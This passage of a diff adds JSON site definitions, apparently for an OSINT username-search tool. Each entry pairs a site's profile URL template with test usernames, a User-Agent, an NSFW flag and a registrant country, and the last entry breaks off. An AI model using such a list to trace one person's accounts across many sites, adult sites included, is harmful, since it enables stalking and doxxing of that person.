+ "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.biggerpockets.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.biggerpockets.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bikemap": { + "url": "https://www.bikemap.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.bikemap.net/en/u/%s/routes/created/", + "existUsername": "bikemap", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.bikemap.net/en/u/%s/routes/created/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AT" + } + }, + "biohacking": { + "url": "https://forum.dangerousthings.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.dangerousthings.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.dangerousthings.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bitbucket": { + "url": "https://bitbucket.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://bitbucket.org/%s/", + "existUsername": "white", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bitbucket.org/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "bitwardenforum": { + "url": "https://bitwarden.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.bitwarden.com/u/%s/summary", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.bitwarden.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "blogger": { + "url": "https://www.blogger.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.blogspot.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.blogspot.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bongacams": { + "url": "https://pt.bongacams.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pt.bongacams.com/profile/%s", + "existUsername": "asuna-black", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pt.bongacams.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "bookcrossing": { + "url": "https://www.bookcrossing.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.bookcrossing.com/mybookshelf/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.bookcrossing.com/mybookshelf/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bravecommunity": { + "url": "https://community.brave.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.brave.com/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.brave.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "buymeacoffee": { + "url": "https://www.buymeacoffee.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://buymeacoff.ee/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://buymeacoff.ee/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "buzzfeed": { + "url": "https://buzzfeed.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://buzzfeed.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://buzzfeed.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cnet": { + "url": "https://www.cnet.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.cnet.com/profiles/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.cnet.com/profiles/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "ctan": { + "url": "https://ctan.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ctan.org/author/%s", + "existUsername": "briggs", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ctan.org/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "caddycommunity": { + "url": "https://caddy.community/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://caddy.community/u/%s/summary", + "existUsername": "taako_magnusen", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://caddy.community/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cartalkcommunity": { + "url": "https://community.cartalk.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.cartalk.com/u/%s/summary", + "existUsername": "always_fixing", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.cartalk.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "championat": { + "url": "https://www.championat.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.championat.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.championat.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "chaos": { + "url": "https://chaos.social/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://chaos.social/@%s", + "existUsername": "ordnung", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://chaos.social/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "chaturbate": { + "url": "https://chaturbate.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://chaturbate.com/%s", + "existUsername": "cute18cute", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://chaturbate.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "choicecommunity": { + "url": "https://choice.community/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://choice.community/u/%s/summary", + "existUsername": "gordon", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://choice.community/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "clapper": { + "url": "https://clapperapp.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://clapperapp.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://clapperapp.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cloudflarecommunity": { + "url": "https://community.cloudflare.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.cloudflare.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.cloudflare.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "clubhouse": { + "url": "https://www.clubhouse.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.clubhouse.com/@%s", + "existUsername": "waniathar", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.clubhouse.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "codeforces": { + "url": "https://codeforces.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "solved for all time", + "url": "https://codeforces.com/profile/%s", + "existUsername": "tourist", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://codeforces.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IE" + } + }, + "codepen": { + "url": "https://codepen.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://codepen.io/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://codepen.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "coderwall": { + "url": "https://coderwall.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://coderwall.com/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://coderwall.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "codewars": { + "url": "https://www.codewars.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.codewars.com/users/%s", + "existUsername": "example", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.codewars.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "coinvote": { + "url": "https://coinvote.cc/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://coinvote.cc/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://coinvote.cc/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "colourlovers": { + "url": "https://www.colourlovers.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.colourlovers.com/lover/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.colourlovers.com/lover/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "coroflot": { + "url": "https://coroflot.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.coroflot.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.coroflot.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "crevado": { + "url": "https://crevado.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.crevado.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.crevado.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "crowdin": { + "url": "https://crowdin.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://crowdin.com/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://crowdin.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cryptomatorforum": { + "url": "https://community.cryptomator.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.cryptomator.org/u/%s", + "existUsername": "michael", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.cryptomator.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "devcommunity": { + "url": "https://dev.to/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://dev.to/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://dev.to/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "dailymotion": { + "url": "https://www.dailymotion.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.dailymotion.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.dailymotion.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "deviantart": { + "url": "https://deviantart.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.deviantart.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.deviantart.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "discogs": { + "url": "https://www.discogs.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.discogs.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.discogs.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "discuss-elastic": { + "url": "https://discuss.elastic.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://discuss.elastic.co/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://discuss.elastic.co/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "disqus": { + "url": "https://disqus.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://disqus.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://disqus.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "dockerhub": { + "url": "https://hub.docker.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hub.docker.com/v2/orgs/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hub.docker.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "eintrachtfrankfurtforum": { + "url": "https://community.eintracht.de/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.eintracht.de/fans/%s", + "existUsername": "mmammu", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.eintracht.de/fans/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "envatoforum": { + "url": "https://forums.envato.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.envato.com/u/%s", + "existUsername": "enabled", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.envato.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "erome": { + "url": "https://www.erome.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.erome.com/%s", + "existUsername": "bob", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.erome.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "etsy": { + "url": "https://www.etsy.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.etsy.com/shop/%s", + "existUsername": "JennyKrafts", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.etsy.com/shop/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "exposure": { + "url": "https://exposure.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.exposure.co/", + "existUsername": "jonasjacobsson", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.exposure.co/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "eyeem": { + "url": "https://www.eyeem.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.eyeem.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.eyeem.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "f3-cool": { + "url": "https://f3.cool/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://f3.cool/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://f3.cool/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "fameswap": { + "url": "https://fameswap.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fameswap.com/user/%s", + "existUsername": "fameswap", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fameswap.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "fandom": { + "url": "https://www.fandom.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.fandom.com/u/%s", + "existUsername": "Jungypoo", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.fandom.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "finanzfrage": { + "url": "https://www.finanzfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.finanzfrage.net/nutzer/%s", + "existUsername": "finanzfrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.finanzfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "flickr": { + "url": "https://www.flickr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.flickr.com/people/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.flickr.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "flightradar24": { + "url": "https://www.flightradar24.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://my.flightradar24.com/%s", + "existUsername": "jebbrooks", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://my.flightradar24.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "flipboard": { + "url": "https://flipboard.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://flipboard.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://flipboard.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "fortnitetracker": { + "url": "https://fortnitetracker.com/challenges", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fortnitetracker.com/profile/all/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fortnitetracker.com/profile/all/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "fosstodon": { + "url": "https://fosstodon.org/", + "type": "Social", + "isNSFW": false, + 